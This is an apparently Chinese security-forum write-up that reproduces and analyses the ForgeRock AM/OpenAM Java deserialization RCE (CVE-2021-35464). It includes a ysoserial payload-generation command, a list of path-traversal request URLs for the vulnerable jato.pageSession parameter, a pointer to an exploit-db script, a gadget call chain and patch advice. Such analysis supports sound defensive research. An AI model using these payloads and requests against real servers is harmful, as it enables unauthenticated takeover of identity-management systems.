奇安信攻防社区-ForgeRock AM远程代码执行漏洞（CVE-2021-35464）复现和分析

ForgeRock AM远程代码执行漏洞（CVE-2021-35464）复现和分析

# 0x00漏洞描述 ForgeRock AM是一个开源的访问管理、权限控制平台，在大学、社会组织中存在广泛的应用。 [![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6c549a9e3a8da345a0...

0x00漏洞描述
========

ForgeRock AM是一个开源的访问管理、权限控制平台，在大学、社会组织中存在广泛的应用。

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6c549a9e3a8da345a08597cb8ddf9e2262af43eb.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6c549a9e3a8da345a08597cb8ddf9e2262af43eb.jpg)

ForgeRock AM服务器的to.pageSession参数中存在Java反序列化漏洞，未经身份验证的攻击者可以通过构造特殊的请求远程执行任意代码，并接管运行ForgeRockAM的服务器。

0x01影响版本
========

ForgeRock AM &gt;=5.0.0 &lt;6.5.3

ForgeRock OpenAM &gt;=9.0.0 &lt;14.6.3

0x02环境搭建
========

本次漏洞环境搭建采用官网14.6.2版本的环境 <https://github.com/OpenIdentityPlatform/OpenAM/releases> ，将下载的war导入进tomcat，tomcat启动即可。

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-e9590ef47171bd75000206f3ce8f855f24d09258.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-e9590ef47171bd75000206f3ce8f855f24d09258.png)

创建默认配置，配置完成即来到主页面

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-9713d2e5e73c7e55beef961c319a7f1c4cd41229.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-9713d2e5e73c7e55beef961c319a7f1c4cd41229.png)

0x03漏洞复现
========

本次漏洞复现采用以下两种利用方式

bp发包
----

首先在攻击机利用ysoserial反序列化工具生成相应的payload  
`java -jar ysoserial.jar Click1 "calc" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='`

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-374ebb9b0e09b01b0bb22e53dfa0efefd08f1220.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-374ebb9b0e09b01b0bb22e53dfa0efefd08f1220.png)

将payload复制并去除换行符，带入漏洞url中

```bash
GET /openam2/oauth2/..;/ccversion/Version?jato.pageSession=PAYLOAD
GET /openam2/oauth2/..///ccversion/Version?jato.pageSession=
GET /openam2/oauth2///..///ccversion/Version?jato.pageSession=
GET /openam2/oauth2/..;;;;;/ccversion/Version?jato.pageSession=
GET /openam2/oauth2/..//;/ccversion/Version?jato.pageSession=
GET /openam2/oauth2/../ccversion/Version?jato.pageSession=
GET /openam2/ccversion/Version?jato.pageSession=
```

以上任意一种url均能利用成功

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-caab583784aea0946a1ee21754595d161abc8e59.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-caab583784aea0946a1ee21754595d161abc8e59.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b3ff5ed63790254ce57438ed92db9d0102a01a49.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b3ff5ed63790254ce57438ed92db9d0102a01a49.png)

脚本利用
----

该EXP取自：<https://www.exploit-db.com/exploits/50131>

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-ae9dd6b700165289727ad0222c78f5a3f63768e0.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-ae9dd6b700165289727ad0222c78f5a3f63768e0.png)

利用效果如图

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8de78170ae43a1c7ab313deefa869c5f9ede9bed.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8de78170ae43a1c7ab313deefa869c5f9ede9bed.png)

0x04漏洞分析
========

本次漏洞分析环境即利用idea本地搭建、debug该项目。关于idea怎么运行war可参考：[https://www.cxyzjd.com/article/qq\_40389276/99405852](https://www.cxyzjd.com/article/qq_40389276/99405852)

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b87580f7abc0ab9ba16ccf8dd2f5fbca88ca0c4d.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b87580f7abc0ab9ba16ccf8dd2f5fbca88ca0c4d.png)

通过漏洞关键代码的描述，可以先找到漏洞利用关键入口，即 jato.pageSession 参数取值，可以看到参数值首先会经过 jato.util.Encoder 的 decodehttp64 方法进行解码，再由 Encoder.deserialize 进行反序列化的处理成会话属性，进而在内部由 ObjectInputStream 执行该反序列化内容

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6e83fc7d17e3e767569622ede2d8d8563a0ad369.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6e83fc7d17e3e767569622ede2d8d8563a0ad369.png)

带入 decodeHtpp64.decompress() 方法的处理，得到byte类型的payload

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-2b4595d28c72aee6d9bfaf883ddc0ae15dcd3d33.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-2b4595d28c72aee6d9bfaf883ddc0ae15dcd3d33.png)

接下来进入 Encoder.deserialize() 做处理，将上一步转换出来的byte数组以 ApplicationObjectInputStream 的 readObject 方法去序列化恢复读取该对象

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-0f807fce66f6bc66bc4f26442b3db187ec0d471b.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-0f807fce66f6bc66bc4f26442b3db187ec0d471b.png)

refObject.getclass().getClassLoader() 即获取当前对象所属的Class对象的类装载器，接下来就是围绕着利用ysoserial工具生成的payload做调用链的跟进

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-4aa47e8f52d926c8e08b7fb2f4dfce8f4a4e463a.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-4aa47e8f52d926c8e08b7fb2f4dfce8f4a4e463a.png)

以下是从 readObject 到 Runtime.exec 的最终执行路径

```bash
java.util.PriorityQueue.readObject()
...
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Table
org.apache.click.util.PropertyUtils.getValue()
...
java.lang.reflect.Method.invoke()
...
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
...
ClassLoader.defineClass()
Class.newInstance()
...
Runtime.exec()
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-96ec2790604329040bddfac2f72d97425feb5e91.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-96ec2790604329040bddfac2f72d97425feb5e91.png)

继续跟进

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-422c45bc0f7be091b1cba41f0ba93fa020560132.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-422c45bc0f7be091b1cba41f0ba93fa020560132.png)

最后来到 invokeReadObject 方法中的 readObjectMethod 即是java.util.PriorityQueue.readObject(java.io.ObjectInputStream)，在该方法内部完成了以上调用链并弹出计算器

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-64437bead0869f9b2cdc9de5c987c588b0b94ef4.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-64437bead0869f9b2cdc9de5c987c588b0b94ef4.png)

以下便是从获取url到payload成功执行的函数调用栈

```bash
invokeReadObject:1060, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserialize:359, Encoder (com.iplanet.jato.util)
deserializePageAttributes:934, ViewBeanBase (com.iplanet.jato.view)
invokeRequestHandler:568, ViewBeanBase (com.iplanet.jato.view)
dispatchRequest:957, ApplicationServletBase (com.iplanet.jato)
processRequest:615, ApplicationServletBase (com.iplanet.jato)
doGet:459, ApplicationServletBase (com.iplanet.jato)
service:635, HttpServlet (javax.servlet.http)
...
```

0x05修复建议
========

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：  
<https://backstage.forgerock.com/knowledge/kb/article/a47894244>

0x06参考链接
========

<https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464>

发表于 2021-09-24 11:19:11
阅读 ( 3971 )
分类：漏洞分析

ForgeRock AM远程代码执行漏洞（CVE-2021-35464）复现和分析

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